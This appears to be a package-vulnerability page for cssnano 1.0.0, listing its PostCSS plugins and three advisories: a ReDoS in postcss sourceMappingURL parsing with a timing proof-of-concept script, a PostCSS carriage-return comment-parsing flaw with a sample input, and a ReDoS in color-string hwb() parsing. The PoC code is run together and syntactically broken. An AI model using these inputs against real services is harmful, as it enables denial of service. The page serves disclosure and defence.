The provided data describes cssnano version 1.0.0, a modular minifier for CSS built upon the PostCSS ecosystem. This early version includes a suite of PostCSS plugins designed to optimize CSS code. Key features for developers using this version revolve around its modular approach, allowing selective use of plugins such as postcss-calc for calculations, postcss-colormin for color optimization, and postcss-zindex for z-index management. This enables fine-grained control over the minification process.
Core dependencies showcase its functionality, including plugins for discarding comments (postcss-discard-comments), duplicates (postcss-discard-duplicates), and empty rules (postcss-discard-empty). Further, it includes tools for normalizing URLs (postcss-normalize-url), reducing identifiers (postcss-reduce-idents), and converting values (postcss-convert-values), contributing to smaller file sizes. Rules are smartly merged, postcss-merge-rules, and selectors are minified postcss-minify-selectors. It also discards unneeded font faces postcss-discard-font-face.
While this data doesn't include the previous stable version, understanding these components of version 1.0.0 illustrates cssnano's initial focus on modularity and targeted CSS optimizations. Developers could leverage this version to reduce CSS file sizes in their projects, while maintaining control over the specific optimizations applied. The release date of April 2015 places this version in the early stages of cssnano's evolution, hinting at potential differences and improvements in later releases.
All the vulnerabilities related to the version 1.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.